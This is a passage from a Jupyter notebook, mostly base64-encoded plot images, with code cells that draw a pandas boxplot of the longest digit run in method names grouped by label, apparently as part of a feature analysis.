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\nf0P4KMDBpCcOAAAAAElFTkSuQmCC\n", + "text": [ + "" + ] + } + ], + "prompt_number": 151 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('method_name_digit_run_longest', 'label')\n", + "plt.ylabel('Max length of digits')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 152, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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